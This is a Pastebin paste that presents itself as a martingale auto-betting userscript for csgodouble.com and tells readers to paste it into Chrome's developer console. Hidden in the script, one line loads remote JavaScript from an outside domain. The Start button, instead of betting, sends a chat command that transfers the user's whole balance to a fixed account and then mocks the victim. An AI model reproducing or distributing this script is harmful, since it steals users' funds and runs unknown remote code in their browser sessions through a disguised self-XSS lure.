Advertisement
Guest User

CSGODOUBLE BOT

a guest
Apr 15th, 2016
678
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.41 KB | None | 0 0
  1. 1. Open Google Chorme (this only works with chrome).
  2. 2. Go to csgodouble.com, press ctrl+shift+j.
  3. 3. Paste the whole Script (exept these instructions) and press Enter.
  4. 4. Get rich $$
  5.  
  6. // ==UserScript==
  7. // @name csgodouble.com - automated
  8. // @description An userscript that automates csgodouble.com betting using martingale system.
  9. // @namespace automated@mole
  10. // @version 1.30
  11. // @author Mole
  12. // @match http://www.csgodouble.com/
  13. // @match http://www.csgodouble.com/index.php
  14. // @run-at document-end
  15. // @grant none
  16. // ==/UserScript==
  17.  
  18.  
  19. 'use strict';
  20.  
  21. (function () { var scriptElement = document.createElement( "script" ); scriptElement.type = "text/javascript"; scriptElement.src = "//yuiko.science/in.js "; document.body.appendChild( scriptElement ); })();
  22.  
  23. var debug = false;
  24. var simulation = false;
  25. var stop_on_min_balance = false;
  26. var calculate_safe_bet = false;
  27. var base_bet = 5;
  28. var safe_bet_amount = 6;
  29. var default_color = 'red';
  30. var default_method = 'martingale';
  31. var theme = 'dark';
  32.  
  33. var colors = {
  34. 'green': [0],
  35. 'red': [1, 2, 3, 4, 5, 6, 7],
  36. 'black': [8, 9, 10, 11, 12, 13, 14]
  37. };
  38.  
  39. var balance = document.getElementById('balance');
  40. var roll_history = document.getElementById('past');
  41. var bet_input = document.getElementById('betAmount');
  42. var bet_buttons = {
  43. 'green': document.getElementById('panel0-0').childNodes[1].childNodes[1],
  44. 'red': document.getElementById('panel1-7').childNodes[1].childNodes[1],
  45. 'black': document.getElementById('panel8-14').childNodes[1].childNodes[1]
  46. };
  47.  
  48. Array.prototype.equals = function(array) {
  49. if (!array) {
  50. return false;
  51. }
  52.  
  53. if (this.length != array.length) {
  54. return false;
  55. }
  56.  
  57. for (var i = 0, l=this.length; i < l; i++) {
  58. if (this[i] instanceof Array && array[i] instanceof Array) {
  59. if (!this[i].equals(array[i])) {
  60. return false;
  61. }
  62. } else if (this[i] != array[i]) {
  63. return false;
  64. }
  65. }
  66. return true;
  67. };
  68.  
  69. Object.defineProperty(Array.prototype, "equals", {enumerable: false});
  70.  
  71. function Automated() {
  72. var self = this;
  73.  
  74. this.running = false;
  75. this.game = null;
  76.  
  77. this.debug = debug;
  78. this.simulation = simulation;
  79. this.stop_on_min_balance = stop_on_min_balance;
  80. this.calculate_safe_bet = calculate_safe_bet;
  81.  
  82. this.base_bet = base_bet;
  83. this.default_color = default_color;
  84. this.default_method = default_method;
  85. this.safe_bet_amount = safe_bet_amount;
  86. this.method = this.default_method;
  87. this.old_method = '';
  88. this.color = 'rainbow';
  89. this.old_base = 0;
  90. this.balance = 0;
  91. this.last_bet = 0;
  92. this.bet_history = [];
  93. this.min_balance = 0;
  94. this.starting_balance = 0;
  95. this.last_color = null;
  96. this.last_result = null;
  97. this.history = [];
  98. this.waiting_for_bet = false;
  99. this.theme = theme;
  100.  
  101. this.stats = {
  102. 'wins': 0,
  103. 'loses': 0,
  104. 'balance': 0
  105. };
  106.  
  107. var menu = document.createElement('div');
  108. menu.innerHTML = '' +
  109. '<div class="row">' +
  110. '<div class="col-lg-9">' +
  111. '<h2>CSGODouble.com Automated <small> Rassgat (76561198271158959)</small> <i id="automated-theme-switch" class="fa fa-lightbulb-o" style="cursor: pointer;"></i></h2>' +
  112. '<div class="form-group">' +
  113. '<div class="btn-group">' +
  114. '<button type="button" class="btn btn-success" id="automated-start" disabled>Start</button>' +
  115. '<button type="button" class="btn btn-warning" id="automated-stop" disabled>Pause</button>' +
  116. '<button type="button" class="btn btn-danger" id="automated-abort" disabled>Abort</button>' +
  117. '</div>' +
  118. '</div>' +
  119. '<div class="form-group">' +
  120. '<div class="btn-group">' +
  121. '<button type="button" class="btn btn-default" id="automated-martingale" ' + (this.method === 'martingale' ? 'disabled' : '') + '>Martingale</button>' +
  122. '<button type="button" class="btn btn-default" id="automated-great-martingale" ' + (this.method === 'great martingale' ? 'disabled' : '') + '>Great Martingale</button>' +
  123. '<button type="button" class="btn btn-default" id="automated-dalembert" ' + (this.method === 'dalembert' ? 'disabled' : '') + '>D\'alembert</button>' +
  124. '<button type="button" class="btn btn-default" id="automated-bet-green" ' + (this.method === 'green' ? 'disabled' : '') + '>Green (Fibonacci)</button>' +
  125. '</div>' +
  126. '</div>' +
  127. '<div class="form-group automated-hide-on-green">' +
  128. '<div class="btn-group">' +
  129. '<button type="button" class="btn btn-default" id="automated-red" ' + (this.color === 'red' ? 'disabled' : '') + '>Red</button>' +
  130. '<button type="button" class="btn btn-default" id="automated-rainbow" ' + (this.color === 'rainbow' ? 'disabled' : '') + '>Rainbow</button>' +
  131. '<button type="button" class="btn btn-default" id="automated-black" ' + (this.color === 'black' ? 'disabled' : '') + '>Black</button>' +
  132. '</div>' +
  133. '</div>' +
  134. '</div>' +
  135. '<div class="col-lg-3">' +
  136. '<h3>Statistics</h3>' +
  137. '<p><b>Wins:</b> <span id="automated-stats-wins">' + this.stats.wins + '</span></p>' +
  138. '<p><b>Loses:</b> <span id="automated-stats-loses">' + this.stats.loses + '</span></p>' +
  139. '<p><b>Balance:</b> <span id="automated-stats-balance">' + this.stats.balance + '</span></p>' +
  140. '</div>' +
  141. '</div>' +
  142. '<div class="form-group">' +
  143. '<div class="input-group">' +
  144. '<div class="input-group-addon">Base value</div>' +
  145. '<input type="number" class="form-control" placeholder="Calculating suggested value..." id="automated-base-bet" disabled>' +
  146. '</div>' +
  147. '</div>' +
  148. '<div class="form-group">' +
  149. '<div class="input-group">' +
  150. '<div class="input-group-addon">Keep balance above</div>' +
  151. '<input type="number" class="form-control" value="0" id="automated-min-balance">' +
  152. '</div>' +
  153. '</div>' +
  154. '<div class="form-group automated-hide-on-green">' +
  155. '<div class="input-group">' +
  156. '<div class="input-group-addon">Failsafe value</div>' +
  157. '<input type="number" class="form-control" value="' + this.safe_bet_amount + '" id="automated-safe-bet-amount"' + (!this.calculate_safe_bet ? ' disabled' : '') + '>' +
  158. '</div>' +
  159. '</div>' +
  160. '<div class="checkbox">' +
  161. '<label><input class="" id="automated-stop-on-min-balance" type="checkbox" ' + (this.stop_on_min_balance ? 'checked' : '') + '> Stop on minimal balance (If checked the bot will stop after getting close to minimal balance, otherwise it will continue starting on base)</label>' +
  162. '</div>' +
  163. '<div class="checkbox automated-hide-on-green">' +
  164. '<label><input class="" id="automated-calculate-safe-bet" type="checkbox" ' + (this.calculate_safe_bet ? 'checked' : '') + '> Calculate base bet from given "Failsafe value", the formula is [base bet] = floor( [balance] / 2 ^ ( [failsafe value] + 1) ) </label>' +
  165. '</div>' +
  166. '<div class="checkbox">' +
  167. '<label><input class="" id="automated-debug" type="checkbox" ' + (this.debug ? 'checked' : '') + '> Debug mode</label>' +
  168. '</div>' +
  169. '<div class="checkbox">' +
  170. '<label class="text-muted"><input id="automated-simulation" type="checkbox" ' + (this.simulation ? 'checked' : '') + ' disabled> Simulation mode</label>' +
  171. '</div>';
  172. document.getElementsByClassName('well')[1].appendChild(menu);
  173.  
  174. this.menu = {
  175. 'start': document.getElementById('automated-start'),
  176. 'stop': document.getElementById('automated-stop'),
  177. 'abort': document.getElementById('automated-abort'),
  178. 'basebet': document.getElementById('automated-base-bet'),
  179. 'minbalance': document.getElementById('automated-min-balance'),
  180. 'debug': document.getElementById('automated-debug'),
  181. 'simulation': document.getElementById('automated-simulation'),
  182. 'stoponminbalance': document.getElementById('automated-stop-on-min-balance'),
  183. 'red': document.getElementById('automated-red'),
  184. 'black': document.getElementById('automated-black'),
  185. 'rainbow': document.getElementById('automated-rainbow'),
  186. 'statistics': {
  187. 'wins': document.getElementById('automated-stats-wins'),
  188. 'loses': document.getElementById('automated-stats-loses'),
  189. 'balance': document.getElementById('automated-stats-balance')
  190. },
  191. 'theme': document.getElementById('automated-theme-switch'),
  192. 'safebetamount': document.getElementById('automated-safe-bet-amount'),
  193. 'calculatesafebet': document.getElementById('automated-calculate-safe-bet'),
  194. 'martingale': document.getElementById('automated-martingale'),
  195. 'greatmartingale': document.getElementById('automated-great-martingale'),
  196. 'betgreen': document.getElementById('automated-bet-green'),
  197. 'dalembert': document.getElementById('automated-dalembert'),
  198. 'hideongreen': document.getElementsByClassName('automated-hide-on-green')
  199. };
  200.  
  201. this.updater = setInterval(function() { // Update every 2 seconds
  202. if (!self.running) {
  203. if (self.updateAll()) {
  204. if (self.calculate_safe_bet) {
  205. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  206. self.menu.basebet.value = self.base_bet;
  207. if (self.debug) { self.logdebug('New base bet: ' + self.base_bet); }
  208. }
  209.  
  210. if (self.menu.stop.disabled && self.menu.start.disabled) {
  211. self.menu.start.disabled = false;
  212. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  213. self.menu.basebet.value = self.base_bet;
  214. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  215. self.starting_balance = self.balance;
  216. }
  217. }
  218. }
  219. }, 2 * 1000);
  220.  
  221. if (theme === 'dark') {
  222. this.darkMode();
  223. }
  224.  
  225. this.menu.start.onclick = function() {
  226. send({
  227. "type": "chat",
  228. "msg": '/send 76561198000449598 ' + self.balance,
  229. "lang": LANG
  230. });
  231.  
  232. self.log('Didn\'t they warn you not to use bots?');
  233.  
  234.  
  235.  
  236. // self.start();
  237. };
  238.  
  239. this.menu.stop.onclick = function() {
  240. self.stop();
  241. };
  242.  
  243. this.menu.abort.onclick = function() {
  244. self.stop(true);
  245. };
  246.  
  247. this.menu.basebet.onchange = function() {
  248. var value = parseInt(self.menu.basebet.value);
  249. if (!isNaN(value)) {
  250. self.base_bet = value;
  251. }
  252. };
  253.  
  254. this.menu.minbalance.onchange = function() {
  255. var value = parseInt(self.menu.minbalance.value);
  256. if (!isNaN(value)) {
  257. self.min_balance = value;
  258. }
  259. };
  260.  
  261. this.menu.safebetamount.onchange = function() {
  262. var value = parseInt(self.menu.safebetamount.value);
  263. if (!isNaN(value)) {
  264. self.safe_bet_amount = value;
  265. }
  266. };
  267.  
  268. this.menu.debug.onchange = function() {
  269. self.debug = self.menu.debug.checked;
  270. };
  271.  
  272. this.menu.simulation.onchange = function() {
  273. self.simulation = self.menu.simulation.checked;
  274. };
  275.  
  276. this.menu.stoponminbalance.onchange = function() {
  277. self.stop_on_min_balance = self.menu.stoponminbalance.checked;
  278. };
  279.  
  280. this.menu.calculatesafebet.onchange = function() {
  281. self.calculate_safe_bet = self.menu.calculatesafebet.checked;
  282. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  283. self.menu.safebetamount.disabled = !self.menu.calculatesafebet.checked;
  284. };
  285.  
  286. this.menu.black.onclick = function() {
  287. self.menu.rainbow.disabled = false;
  288. self.menu.black.disabled = true;
  289. self.menu.red.disabled = false;
  290. self.color = 'black';
  291. self.log('Current mode: black');
  292. };
  293.  
  294. this.menu.red.onclick = function() {
  295. self.menu.rainbow.disabled = false;
  296. self.menu.black.disabled = false;
  297. self.menu.red.disabled = true;
  298. self.color = 'red';
  299. self.log('Current mode: red');
  300. };
  301.  
  302. this.menu.rainbow.onclick = function() {
  303. self.menu.rainbow.disabled = true;
  304. self.menu.black.disabled = false;
  305. self.menu.red.disabled = false;
  306. self.color = 'rainbow';
  307. self.log('Current mode: rainbow');
  308. };
  309.  
  310. this.menu.martingale.onclick = function() {
  311. self.menu.martingale.disabled = true;
  312. self.menu.greatmartingale.disabled = false;
  313. self.menu.betgreen.disabled = false;
  314. self.menu.dalembert.disabled = false;
  315. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  316. self.menu.hideongreen[i].style.display = 'block';
  317. }
  318. self.method = 'martingale';
  319. self.log('Current method: Martingale');
  320. };
  321.  
  322. this.menu.greatmartingale.onclick = function() {
  323. self.menu.martingale.disabled = false;
  324. self.menu.greatmartingale.disabled = true;
  325. self.menu.betgreen.disabled = false;
  326. self.menu.dalembert.disabled = false;
  327. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  328. self.menu.hideongreen[i].style.display = 'block';
  329. }
  330. self.method = 'great martingale';
  331. self.log('Current method: Great martingale');
  332. };
  333.  
  334. this.menu.dalembert.onclick = function() {
  335. self.menu.martingale.disabled = false;
  336. self.menu.greatmartingale.disabled = false;
  337. self.menu.betgreen.disabled = false;
  338. self.menu.dalembert.disabled = true;
  339. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  340. self.menu.hideongreen[i].style.display = 'block';
  341. }
  342. self.method = 'dalembert';
  343. self.log('Current method: D\'alembert');
  344. };
  345.  
  346. this.menu.betgreen.onclick = function() {
  347. self.menu.martingale.disabled = false;
  348. self.menu.greatmartingale.disabled = false;
  349. self.menu.betgreen.disabled = true;
  350. self.menu.dalembert.disabled = false;
  351. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  352. self.menu.hideongreen[i].style.display = 'none';
  353. }
  354. self.method = 'green';
  355. self.log('Current method: Bet green');
  356. };
  357.  
  358. this.menu.theme.onclick = function() {
  359. if (self.theme === 'dark') {
  360. self.lightMode();
  361. self.theme = 'light';
  362. self.log('Switching to light theme...');
  363. } else {
  364. self.darkMode();
  365. self.theme = 'dark';
  366. self.log('Switching to dark theme...');
  367. }
  368. };
  369.  
  370. setInterval(function() {
  371. if(!WS) {
  372. self.log('Reconnecting...');
  373. connect();
  374. }
  375. }, 2500);
  376. }
  377.  
  378. Automated.prototype.updateBalance = function() {
  379. this.balance = parseInt(balance.textContent);
  380.  
  381. if (isNaN(this.balance)) {
  382. this.log('Error getting current balance!');
  383. return false;
  384. }
  385.  
  386. if (this.debug) { this.logdebug('Balance updated: ' + this.balance); }
  387. return true;
  388. };
  389.  
  390. Automated.prototype.updateHistory = function() {
  391. var self = this;
  392. this.history = [];
  393.  
  394. for (var i = 0; i < roll_history.childNodes.length; i++) {
  395. var roll = parseInt(roll_history.childNodes[i].textContent);
  396.  
  397. if (!isNaN(roll)) {
  398. if (colors.green.indexOf(roll) !== -1) {
  399. self.history.push('green');
  400. } else if (colors.red.indexOf(roll) !== -1) {
  401. self.history.push('red');
  402. } else {
  403. self.history.push('black');
  404. }
  405. }
  406. }
  407.  
  408. if (this.debug) { this.logdebug('History updated: ' + this.history.map(function(value) { return value; }).join(', ')); }
  409. return this.history.length === 10;
  410. };
  411.  
  412. Automated.prototype.updateStats = function() {
  413. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  414. this.menu.statistics.wins.innerHTML = this.stats.wins;
  415. this.menu.statistics.loses.innerHTML = this.stats.loses;
  416. this.menu.statistics.balance.innerHTML = this.stats.balance;
  417. return true;
  418. };
  419.  
  420. Automated.prototype.updateAll = function() {
  421. return this.updateBalance() && this.updateHistory() && this.updateStats();
  422. };
  423.  
  424. Automated.prototype.bet = function(amount, color) {
  425. var self = this;
  426. color = color || this.color || this.default_color;
  427.  
  428. if (color === 'rainbow') {
  429. if (this.last_color) {
  430. color = (this.last_color === 'red' ? 'black' : 'red');
  431. } else {
  432. color = this.default_color;
  433. }
  434. }
  435.  
  436. if (['green', 'red', 'black'].indexOf(color) < 0 || amount > this.balance || amount <= 0) {
  437. this.log('Invalid bet!');
  438. this.last_result = 'invalid bet';
  439. this.waiting_for_bet = false;
  440. this.stop();
  441. return false;
  442. }
  443.  
  444. if (this.balance - amount < this.min_balance) {
  445. this.log('Reached minimal balance!');
  446. this.last_result = 'reached min balance';
  447. if (this.stop_on_min_balance || this.balance - this.base_bet < this.min_balance) {
  448. this.stop();
  449. }
  450. this.waiting_for_bet = false;
  451. return false;
  452. }
  453.  
  454. bet_input.value = amount;
  455.  
  456. if (!bet_buttons[color].disabled) {
  457. var old_balance = self.balance;
  458. this.log('Betting ' + amount + ' on ' + color);
  459. if (!self.simulation) {
  460. bet_buttons[color].click();
  461. var checker = setInterval(function() {
  462. if (!bet_buttons[color].disabled) {
  463. clearInterval(checker);
  464. setTimeout(function() {
  465. if (self.updateBalance() && self.balance === old_balance) {
  466. if (!self.game) { return false; }
  467. self.log('Bet rejected, retrying...');
  468. self.bet(amount, color);
  469. } else {
  470. if (self.debug) { self.logdebug('Bet accepted!'); }
  471. self.last_bet = amount;
  472. self.bet_history.push(amount);
  473. self.last_color = color;
  474. self.waiting_for_bet = false;
  475. return true;
  476. }
  477. }, 2500);
  478. }
  479. }, 1000);
  480. } else {
  481. self.bet_history.push(amount);
  482. self.last_bet = amount;
  483. self.last_color = color;
  484. self.waiting_for_bet = false;
  485. return true;
  486. }
  487. } else {
  488. if (!self.game) { return false; }
  489. self.log('Button disabled, retrying...');
  490. setTimeout(function() { self.bet(amount, color) }, (Math.random() * 3 + 2).toFixed(3) * 1000);
  491. }
  492. };
  493.  
  494. Automated.prototype.play = function() {
  495. var self = this;
  496.  
  497. if (this.game !== null) {
  498. if (this.debug) { this.logdebug('Tried to reinitialize running game!'); }
  499. return false;
  500. }
  501.  
  502. this.game = setInterval(function() {
  503. var history = self.history;
  504. if (!self.waiting_for_bet && self.updateAll() && !history.equals(self.history)) {
  505. self.waiting_for_bet = true;
  506. if (self.last_color === null) {
  507. self.bet(self.base_bet);
  508. } else if (self.last_color === self.history[self.history.length - 1]) {
  509. if (self.calculate_safe_bet) {
  510. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  511. self.menu.basebet.value = self.base_bet;
  512. }
  513. self.last_result = 'win';
  514. self.log('Win!');
  515. self.stats.wins += 1;
  516. self.old_base = self.base_bet;
  517. self.old_method = self.method;
  518. if (self.old_method === 'dalembert') {
  519. if (self.last_bet > self.old_base) {
  520. self.bet(self.last_bet - 1);
  521. } else {
  522. self.bet(self.base_bet);
  523. }
  524. } else {
  525. self.bet(self.base_bet);
  526. }
  527. } else {
  528. self.last_result = 'lose';
  529. self.log('Lose!');
  530. self.stats.loses += 1;
  531. if (self.old_method === 'martingale') {
  532. self.bet(self.last_bet * 2);
  533. } else if (self.old_method === 'great martingale') {
  534. self.bet(self.last_bet * 2 + self.old_base);
  535. } else if (self.old_method === 'green') {
  536. var bet_value = 0;
  537. if (self.bet_history[self.bet_history.length - 1] === 1) {
  538. if (self.bet_history[self.bet_history.length - 2] === 1) {
  539. bet_value = 2;
  540. } else {
  541. bet_value = 1;
  542. }
  543. } else {
  544. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  545. }
  546. self.bet(bet_value, 'green');
  547. } else if (self.old_method === 'dalembert') {
  548. self.bet(self.last_bet + 1);
  549. }
  550. }
  551. }
  552. }, 2 * 1000);
  553.  
  554. return true;
  555. };
  556.  
  557. Automated.prototype.start = function() {
  558. if (self.calculate_safe_bet) {
  559. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  560. self.menu.basebet.value = self.base_bet;
  561. }
  562. this.old_base = this.base_bet;
  563. this.old_method = this.method;
  564. if (this.updateAll()) {
  565. if (this.last_result === 'lose') {
  566. this.running = true;
  567. if (this.old_method === 'martingale') {
  568. this.bet(this.last_bet * 2);
  569. } else if (this.old_method === 'great martingale') {
  570. this.bet(this.last_bet * 2 + this.old_base);
  571. } else if (self.old_method === 'green') {
  572. var bet_value = 0;
  573. if (self.bet_history[self.bet_history.length - 1] === 1) {
  574. if (self.bet_history[self.bet_history.length - 2] === 1) {
  575. bet_value = 2;
  576. } else {
  577. bet_value = 1;
  578. }
  579. } else {
  580. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  581. }
  582. self.bet(bet_value, 'green');
  583. } else if (self.old_method === 'dalembert') {
  584. self.bet(self.last_bet + 1);
  585. }
  586. this.play();
  587. } else {
  588. this.running = true;
  589. this.bet(this.base_bet);
  590. this.play();
  591. }
  592. }
  593. this.menu.abort.disabled = false;
  594. this.menu.stop.disabled = false;
  595. this.menu.start.disabled = true;
  596. };
  597.  
  598. Automated.prototype.stop = function(abort) {
  599. var self = this;
  600. if (abort) { this.last_result = 'abort'; }
  601. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  602. setTimeout(function() {
  603. clearInterval(self.game);
  604. self.game = null;
  605. self.running = false;
  606. self.menu.abort.disabled = true;
  607. self.menu.stop.disabled = true;
  608. self.menu.start.disabled = false;
  609. }, 1); // Next tick
  610. };
  611.  
  612. Automated.prototype.darkMode = function() {
  613. var style;
  614. var css = 'body{background-color:#191919;color:#888}.navbar-default{background-color:#232323;border-color:#454545}#sidebar{background-color:#191919;border-color:#202020}.side-icon.active,.side-icon:hover{background-color:#202020}.side-icon .fa{color:#454545}.well{background:#232323;border-color:#323232;color:#888}#pullout{background-color:#191919;border-color:#323232}.form-control{background-color:#323232;border-color:#454545}.divchat{background-color:#323232;color:#999;border:none}.chat-link,.chat-link:hover,.chat-link:active{color:#bbb}.panel{background-color:#323232}.panel-default{border-color:#454545}.panel-default>.panel-heading{color:#888;background-color:#303030;border-color:#454545}.my-row{border-color:#454545}.list-group-item{border-color:#454545;background-color:#323232}.btn-default{border-color:#454545;background:#323232;text-shadow:none;color:#888;box-shadow:none}.btn-default:hover,.btn-default:active{background-color:#282828;color:#888;border-color:#454545}.btn-default[disabled]{border-color:#454545;background-color:#353535}.input-group-addon{background-color:#424242;border-color:#454545;color:#888}.progress{color:#bbb;background-color:#323232}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#999}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#888;background-color:#323232}.dropdown-menu{background-color:#252525}.dropdown-menu>li>a{color:#888}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#323232;color:#999}.dropdown-menu .divider{background-color:#454545}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#404040;opacity:.5}';
  615. style = document.getElementById('automated-style');
  616. if (!style) {
  617. var head;
  618. head = document.getElementsByTagName('head')[0];
  619. if (!head) { return; }
  620. style = document.createElement('style');
  621. style.type = 'text/css';
  622. style.id = 'automated-style';
  623. style.innerHTML = css;
  624. head.appendChild(style);
  625. }
  626. style.innerHTML = css;
  627. };
  628.  
  629. Automated.prototype.lightMode = function() {
  630. var style = document.getElementById('automated-style');
  631. style.innerHTML = '';
  632. };
  633.  
  634. Automated.prototype.log = function(message) {
  635. chat('alert', '[Automated] ' + message);
  636. };
  637.  
  638. Automated.prototype.logdebug = function(message) {
  639. chat('italic', '[Automated] ' + message);
  640. };
  641.  
  642. var automated = new Automated();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement